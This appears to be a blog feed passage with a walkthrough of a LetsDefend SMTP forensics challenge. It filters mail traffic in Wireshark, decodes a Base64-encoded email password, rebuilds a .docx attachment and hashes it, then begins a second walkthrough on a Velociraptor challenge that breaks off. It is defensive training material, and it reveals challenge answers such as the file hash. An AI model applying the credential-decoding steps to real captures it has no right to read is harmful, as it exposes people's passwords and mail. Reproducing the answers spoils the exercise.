We&amp;rsquo;re provided with a PCAP file and need to investigate a malicious insider leaking information. To figure out what&amp;rsquo;s going on, we&amp;rsquo;ll use the network traffic analysis tool &lt;em&gt;Wireshark&lt;/em&gt; to extract email communications, uncover clues within the message contents, and paint the full picture.&lt;/p&gt;&#xA;&lt;p&gt;This challenge is a great opportunity to practice &lt;em&gt;protocol-level analysis&lt;/em&gt;, decode &lt;em&gt;encoded credentials&lt;/em&gt;, and reconstruct &lt;em&gt;file attachments&lt;/em&gt; from raw packet data. Sounds like fun, right? Let&amp;rsquo;s get into it!&lt;/p&gt;&#xA;&lt;p&gt;If you find this walkthrough helpful — whether it levels up your skills, gets you over a stumbling block, or serves as a handy reference — please give it a clap and consider following me for more content like this.&lt;/p&gt;&#xA;&lt;p&gt;Thanks for reading and going on this investigation with me!&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;question-1-what-is-the-email-address-of-anns-secret-boyfriend&#34;&gt;Question 1: What is the email address of Ann&amp;rsquo;s secret boyfriend?&#xA;&lt;/h3&gt;&lt;p&gt;Let&amp;rsquo;s kick off this investigation by opening the &lt;code&gt;ChallengeFile&lt;/code&gt; folder and locating the artifact &lt;code&gt;smtpchallenge.pcap&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;So, what do we do with this? Well, a PCAP file is a network packet capture file containing the packet-level details of a network session. For this challenge, we&amp;rsquo;ll be leveraging &lt;a class=&#34;link&#34; href=&#34;https://www.wireshark.org/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Wireshark&lt;/strong&gt;&lt;/a&gt; to view the pcap and perform our analysis. Double-click the file to open it.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;547px&#34; data-flex-grow=&#34;227&#34; height=&#34;351&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-disclose-the-agent-challenge-walkthrough/5b9869aadb99466b34aee4e37ea70115_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Location of the ChallengeFile&lt;/p&gt;&#xA;&lt;p&gt;To answer &lt;strong&gt;Question 1&lt;/strong&gt;, we&amp;rsquo;re searching for an email exchange between Ann and a secret boyfriend. For this, we can focus on filtering the Wireshark traffic for the &lt;em&gt;Simple Mail Transfer Protocol (SMTP)&lt;/em&gt; packets. If you&amp;rsquo;re unfamiliar with this protocol, here&amp;rsquo;s some background from the &lt;a class=&#34;link&#34; href=&#34;https://wiki.wireshark.org/SMTP&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;Wireshark Wiki&lt;/em&gt;&lt;/a&gt; that&amp;rsquo;s helpful to know for this challenge:&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;This protocol is widely use to send e-Mail from the authors mail program to the mail server and between servers too.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Typically, SMTP uses TCP as its transport protocol. The well known TCP port for SMTP traffic is 25.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;SMTP uses &lt;a class=&#34;link&#34; href=&#34;https://wiki.wireshark.org/MIME_multipart&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;MIME_multipart&lt;/a&gt; to transfer attachments&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;The idea here is to filter SMTP traffic to review emails that Ann sent. Hopefully, this contains some kind of clue about the identity of her boyfriend. To perform the filtering, simply enter the protocol name &lt;code&gt;smtp&lt;/code&gt; into &lt;em&gt;Wireshark&amp;rsquo;s&lt;/em&gt; filtering box.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;516px&#34; data-flex-grow=&#34;215&#34; height=&#34;372&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-disclose-the-agent-challenge-walkthrough/7ee4e427fb85738edae7e8889d7011a4_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Once the filter is applied, search through the traffic to find the first displayed SMTP packet („– 56). Once we&amp;rsquo;ve found it, right-click the line and select &lt;em&gt;Follow &amp;gt; TCP Stream&lt;/em&gt;. This will open up the TCP stream window for us to view the contents.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;518px&#34; data-flex-grow=&#34;216&#34; height=&#34;370&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-disclose-the-agent-challenge-walkthrough/234b15d59fe9e7fc8ac2947937e48b3a_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Wireshark: Packet 56— following the TCP stream&lt;/p&gt;&#xA;&lt;p&gt;Unfortunately, while interesting, this message stream doesn&amp;rsquo;t contain any spicy details about Ann&amp;rsquo;s affair. Let&amp;rsquo;s try another stream containing another message&amp;hellip;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;369px&#34; data-flex-grow=&#34;153&#34; height=&#34;520&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-disclose-the-agent-challenge-walkthrough/97d1ae51f53a4d4a6709acb1c5127911_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Wireshark: The contents of TCP Stream 0&lt;/p&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s check the next SMTP stream starting with packet number 116. Follow the same process to view the TCP stream.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;517px&#34; data-flex-grow=&#34;215&#34; height=&#34;371&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-disclose-the-agent-challenge-walkthrough/9fc1fc57e0624b2d4acbab4bce568fe6_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Wireshark: Packet 116 — following the TCP stream&lt;/p&gt;&#xA;&lt;p&gt;Now we&amp;rsquo;ve got them! This message is much more suggestive, and we can confirm the email address of Ann&amp;rsquo;s boyfriend — the elusive &amp;ldquo;Mister Secret.&amp;rdquo;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;367px&#34; data-flex-grow=&#34;152&#34; height=&#34;523&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-disclose-the-agent-challenge-walkthrough/b4169bdaf7210a730a316b6e6e2fa511_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Wireshark: Identifying the email of Anne&amp;rsquo;s secret boyfriend&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1627px&#34; data-flex-grow=&#34;677&#34; height=&#34;118&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-disclose-the-agent-challenge-walkthrough/0b37a74255ad96b5c1995a129d1afdee_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-2-what-is-anns-email-password&#34;&gt;Question 2: What is Ann&amp;rsquo;s email password?&#xA;&lt;/h3&gt;&lt;p&gt;Our next objective to answer &lt;strong&gt;Question 2&lt;/strong&gt; is to determine Ann&amp;rsquo;s email password. &lt;em&gt;SMTP traffic&lt;/em&gt; is transmitted in clear text by default, meaning that the authentication credentials could be visible in the PCAP file.&lt;/p&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s find out! To illustrate this, close the TCP stream window and zoom out to the packet view again. Here, we&amp;rsquo;re able to see the complete user authentication flow (&lt;em&gt;packets 120€“128&lt;/em&gt;), including the &lt;code&gt;PASS&lt;/code&gt; field containing the password.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;416px&#34; data-flex-grow=&#34;173&#34; height=&#34;461&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-disclose-the-agent-challenge-walkthrough/8d8c4e67917ed94045bd1784f8b0a8a2_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Wireshark: Identifying the SMTP password field&lt;/p&gt;&#xA;&lt;p&gt;Just one small obstacle: the field appears to be encoded, so the password isn&amp;rsquo;t as it appears here. Remember, &lt;em&gt;encoding is not the same as encryption&lt;/em&gt;, so we should be able to simply decode the &lt;code&gt;PASS&lt;/code&gt; string. To do this, right-click the packet and select &lt;em&gt;Protocol Preferences &amp;gt; Decode Base64 encoded AUTH parameters&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;514px&#34; data-flex-grow=&#34;214&#34; height=&#34;373&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-disclose-the-agent-challenge-walkthrough/d775d8fad6ecf27a5384132d9c172b87_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Wireshark: Applying the Base64 decode operation&lt;/p&gt;&#xA;&lt;p&gt;This automatically decodes the password for Ann&amp;rsquo;s email — great find!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1627px&#34; data-flex-grow=&#34;677&#34; height=&#34;118&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-disclose-the-agent-challenge-walkthrough/62d724e7b0de00b3631672c3f0f8ad9e_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Wireshark: Viewing the decoded password&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1811px&#34; data-flex-grow=&#34;754&#34; height=&#34;106&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-disclose-the-agent-challenge-walkthrough/5dda5a5cabaa4b321f7194f3ea581f88_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-3-what-is-the-name-of-the-file-that-ann-sent-to-his-secretlover&#34;&gt;Question 3: What is the name of the file that Ann sent to his secret lover?&#xA;&lt;/h3&gt;&lt;p&gt;To answer &lt;strong&gt;Question 3&lt;/strong&gt;, navigate back to the TCP stream window. For this task, we&amp;rsquo;re looking for the name of the file that Ann sent. You might recall from the &lt;em&gt;SMTP&lt;/em&gt; notes on the &lt;a class=&#34;link&#34; href=&#34;https://wiki.wireshark.org/SMTP&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;Wireshark Wiki&lt;/em&gt;&lt;/a&gt; that:&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;SMTP uses MIME_multipart to transfer attachments.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;365px&#34; data-flex-grow=&#34;152&#34; height=&#34;525&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-disclose-the-agent-challenge-walkthrough/f88af732b3f4be473334d79d3c4a5c28_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;Wireshark: Identifying the attachment filename in the MIME section&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;This means that by scrolling down to the &lt;em&gt;MIME contents&lt;/em&gt; section, we can discover the &lt;code&gt;filename&lt;/code&gt; field containing the name of the attachment — &lt;code&gt;secretrendezvous.docx&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1811px&#34; data-flex-grow=&#34;754&#34; height=&#34;106&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-disclose-the-agent-challenge-walkthrough/d776121531ab7b0974e02391c537dece_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-4-in-what-country-will-ann-meet-with-her-secretlover&#34;&gt;Question 4: In what country will Ann meet with her secret lover?&#xA;&lt;/h3&gt;&lt;p&gt;To find the answer to Question 4, turn your attention to the big blob of encoded text following &lt;code&gt;filename=&amp;quot;secretrendezvous.docx&amp;quot;&lt;/code&gt; that we found in the previous question.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;215px&#34; data-flex-grow=&#34;89&#34; height=&#34;785&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-disclose-the-agent-challenge-walkthrough/0c79eb8f1afde06647bef0bbc3609654_MD5.png&#34; width=&#34;704&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Wireshark: The encoded attachment&lt;/p&gt;&#xA;&lt;p&gt;The encoded content between the filename and the ending boundary &lt;code&gt;--=_NextPart_000_000D_01CA497C.9DEC1E70&lt;/code&gt; is actually the &lt;code&gt;.docx&lt;/code&gt; file attachment. With a little know-how and effort, we can convert this blob into the original, readable file.&lt;/p&gt;&#xA;&lt;p&gt;The first step is to copy the blob to the clipboard and paste it into a text editor like &lt;strong&gt;Mousepad&lt;/strong&gt;, which is built into the &lt;em&gt;LetsDefend VM&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;189px&#34; data-flex-grow=&#34;78&#34; height=&#34;877&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-disclose-the-agent-challenge-walkthrough/3bfa2b14f4f43ec1d829c53fe109b0d4_MD5.png&#34; width=&#34;692&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Mousepad: Pasting the Base64 blob&lt;/p&gt;&#xA;&lt;p&gt;Once the contents have been pasted into the empty document, go ahead and save it.&lt;/p&gt;&#xA;&lt;p&gt;Next, we&amp;rsquo;ll leverage the &lt;code&gt;base64&lt;/code&gt; command to decode the contents and output them into a new file, &lt;code&gt;secretrendezvous.docx&lt;/code&gt;. Use the command below to watch the magic happen:&lt;/p&gt;&#xA;&lt;p&gt;base64 -d -i secretrendezvous &amp;gt; secretrendezvous.docx&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1078px&#34; data-flex-grow=&#34;449&#34; height=&#34;178&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-disclose-the-agent-challenge-walkthrough/1250d83771a457425a554ce5f5ec52ee_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Now that the encoded contents have been piped to a new &lt;code&gt;.docx&lt;/code&gt; file, go ahead and open it to find a map location for the secret rendezvous!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;290px&#34; data-flex-grow=&#34;121&#34; height=&#34;661&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-disclose-the-agent-challenge-walkthrough/b6676671f37267b9a97c1f11a574cb8f_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;The rendezvous location revealed&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1828px&#34; data-flex-grow=&#34;761&#34; height=&#34;105&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-disclose-the-agent-challenge-walkthrough/a49ffef9c30cc1e216cc5619cec19015_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-5-what-is-the-md5-value-of-the-attachment-annsent&#34;&gt;Question 5: What is the MD5 value of the attachment Ann sent?&#xA;&lt;/h3&gt;&lt;p&gt;To wrap up our investigation and answer &lt;strong&gt;Question 5&lt;/strong&gt;, we simply need to determine the MD5 hash value of the &lt;code&gt;secretrendezvous.docx&lt;/code&gt; attachment that Ann sent.&lt;/p&gt;&#xA;&lt;p&gt;We&amp;rsquo;ve already done most of the legwork by reassembling this artifact from the TCP stream, so now we just need to run the &lt;code&gt;md5sum&lt;/code&gt; command from the terminal to grab the hash:&lt;/p&gt;&#xA;&lt;p&gt;md5sum secretrendezvous.docx&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;660px&#34; data-flex-grow=&#34;275&#34; height=&#34;266&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-disclose-the-agent-challenge-walkthrough/fccf805dd5384693d778cc78a1b73251_MD5.png&#34; width=&#34;732&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Terminal: Calculating the MD5 hash of the document&lt;/p&gt;&#xA;&lt;p&gt;9e423e11db88f01bbff81172839e1923&lt;/p&gt;&#xA;&lt;p&gt;The resulting output is the MD5 hash value we need to answer the final question. This is a handy thing to have in the real world since it serves as a &lt;em&gt;file-level signature&lt;/em&gt;, and can be used to confirm that the file is identical to the original document, or to pivot into threat intelligence platforms to check if this &lt;em&gt;exact specific file&lt;/em&gt; has been seen before.&lt;/p&gt;&#xA;&lt;p&gt;In this case, the content is innocuous — but still interesting.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1714px&#34; data-flex-grow=&#34;714&#34; height=&#34;112&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-disclose-the-agent-challenge-walkthrough/edb5de4ccf8055ca3b304dddef11f535_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;conclusion&#34;&gt;Conclusion:&#xA;&lt;/h3&gt;&lt;p&gt;How fun was that! A big shoutout to &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;LetsDefend&lt;/strong&gt;&lt;/a&gt; for putting out another great challenge.&lt;/p&gt;&#xA;&lt;p&gt;This one was a solid exercise in classic network forensics and gave us the chance to work through a plausible real-world email analysis scenario. From filtering &lt;em&gt;SMTP&lt;/em&gt; traffic in &lt;em&gt;Wireshark&lt;/em&gt;, to decoding &lt;em&gt;Base64&lt;/em&gt;-encoded credentials, and even reconstructing a &lt;code&gt;.docx&lt;/code&gt; file from raw packet data — this challenge packed a lot of practical skills into a focused investigation.&lt;/p&gt;&#xA;&lt;p&gt;I picked this one because I wanted to brush up on &lt;em&gt;SMTP packet analysis&lt;/em&gt; and get some reps in with extracting email-based artifacts, which are still incredibly relevant in phishing investigations and insider threat cases. Each question built naturally on the last, and I&amp;rsquo;m always a fan of a fun narrative to chase during these challenges. All in all — very fun!&lt;/p&gt;&#xA;&lt;p&gt;Thanks for following along and partnering on this investigation. If you found this walkthrough helpful, don&amp;rsquo;t forget to give it a clap! Your feedback keeps me going and helps me keep supporting your security journey. Remember, cybersecurity is a team sport — and we&amp;rsquo;re in this together.&lt;/p&gt;&#xA;&lt;p&gt;Until next week&amp;rsquo;s challenge — stay curious and be safe out there!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;240px&#34; data-flex-grow=&#34;100&#34; height=&#34;250&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-disclose-the-agent-challenge-walkthrough/897587ce48e9f9feb186cdd21a12ccdd_MD5.png&#34; width=&#34;250&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;tools--references&#34;&gt;Tools &amp;amp; References:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;Challenge Link:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/disclose-the-agent&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://app.letsdefend.io/challenge/disclose-the-agent&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Wireshark:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.wireshark.org/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.wireshark.org/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Wireshark Docs — SMTP:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://wiki.wireshark.org/SMTP&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://wiki.wireshark.org/SMTP&lt;/a&gt;&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>LetsDefend — Velociraptor Challenge Walkthrough</title>
            <link>https://stumblesec.com/posts/letsdefend-velociraptor-challenge-walkthrough/</link>
            <pubDate>Sun, 07 Sep 2025 00:00:00 +0000</pubDate>
            <guid>https://stumblesec.com/posts/letsdefend-velociraptor-challenge-walkthrough/</guid>
            <description>&lt;img src=&#34;https://stumblesec.com/posts/letsdefend-velociraptor-challenge-walkthrough/a23fc2f7b435ad3801896d084afd433e_MD5.png&#34; alt=&#34;Featured image of post LetsDefend — Velociraptor Challenge Walkthrough&#34; /&gt;&lt;h3 id=&#34;letsdefend--velociraptor-challenge-walkthrough&#34;&gt;LetsDefend — Velociraptor Challenge Walkthrough&#xA;&lt;/h3&gt;&lt;h4 id=&#34;investigating-a-compromised-web-server-using-velociraptor-wireshark-and-cyber-threat-intelligence&#34;&gt;Investigating a Compromised Web Server Using Velociraptor, Wireshark, and Cyber Threat Intelligence.&#xA;&lt;/h4&gt;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;459px&#34; data-flex-grow=&#34;191&#34; height=&#34;296&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-velociraptor-challenge-walkthrough/a23fc2f7b435ad3801896d084afd433e_MD5.png&#34; width=&#34;567&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/velociraptor&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://app.letsdefend.io/challenge/velociraptor&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;introduction&#34;&gt;Introduction:&#xA;&lt;/h3&gt;&lt;p&gt;Welcome to my weekly walkthrough! If you&amp;rsquo;ve stumbled across this blog searching for a comprehensive guide to the &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/velociraptor&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Velociraptor&lt;/strong&gt;&lt;/a&gt; challenge from &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;LetsDefend&lt;/strong&gt;&lt;/a&gt;, you&amp;rsquo;re in the right place. This challenge is a fantastic introduction to collecting and investigating endpoint artifacts — let&amp;rsquo;s check out the scenario below.&lt;/p&gt;&#xA;&lt;h4 id=&#34;challenge-scenario&#34;&gt;Challenge Scenario:&#xA;&lt;/h4&gt;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Your organization recently discovered a potential security incident involving a critical web server. The Security Operations Center (SOC) detected unusual traffic patterns and suspicious activity targeting this server. Initial investigations suggest that the breach may have been caused by a well-known exploit that has not yet been patched. Due to the critical nature of the web server and the sensitivity of the data it handles, immediate action is required to confirm the breach, contain the threat, and mitigate further risks.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;You are provided with network traffic and EDR logs to identify how the attacker gained access and what actions they took.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;It sounds like we&amp;rsquo;ve got our work cut out for us to investigate what happened to the web server and how it was compromised. But we&amp;rsquo;re not on our own — we&amp;rsquo;re provided with a rich set of forensic log artifacts generated by &lt;strong&gt;Velociraptor&lt;/strong&gt; that we can use to put the pieces together.&lt;/p&gt;&#xA;&lt;p&gt;To accomplish this, we&amp;rsquo;ll leverage our DFIR knowledge and apply it to investigating the &lt;em&gt;Velociraptor&lt;/em&gt; artifacts. Since this challenge also serves as an introduction to &lt;em&gt;Velociraptor&lt;/em&gt;, we&amp;rsquo;ll lean heavily on the documentation to add context and learn more about how the tool works. After that, we&amp;rsquo;ll dive into &lt;strong&gt;Wireshark&lt;/strong&gt; to analyze the collected network packet data to get further details. Once we&amp;rsquo;ve identified the vulnerability abused by the attacker, we&amp;rsquo;ll pivot to some additional threat research to add further context and tie the whole thing together.&lt;/p&gt;&#xA;&lt;p&gt;Sounds like fun, right? Let&amp;rsquo;s get our hands dirty.&lt;/p&gt;&#xA;&lt;p&gt;If you find this walkthrough helpful — whether it levels-up your skills, gets you over a stumbling block, or serves as a handy reference — please give it a clap and consider following me for more content like this.&lt;/p&gt;&#xA;&lt;p&gt;Thanks for reading and going on this investigation with me!&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;question-1-what-is-the-client-id-associated-with-the-edrlogs&#34;&gt;Question 1: What is the Client ID associated with the EDR logs?&#xA;&lt;/h3&gt;&lt;p&gt;Let&amp;rsquo;s kick off our investigation by navigating to the &lt;code&gt;ChallengeFile&lt;/code&gt; directory within the LetsDefend VM. Inside this directory, we&amp;rsquo;re presented with two files: &lt;code&gt;EDR-LOGS&lt;/code&gt; and &lt;code&gt;EDR-LOGS.zip&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;383px&#34; data-flex-grow=&#34;159&#34; height=&#34;501&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-velociraptor-challenge-walkthrough/5cd6af6791ff713d5b958ff4d7cddec4_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Overview of the ChallengeFile folder&lt;/p&gt;&#xA;&lt;p&gt;We&amp;rsquo;re going to focus on the unzipped file, but before we go too much further, let&amp;rsquo;s get some background on the tool that generated these logs — &lt;a class=&#34;link&#34; 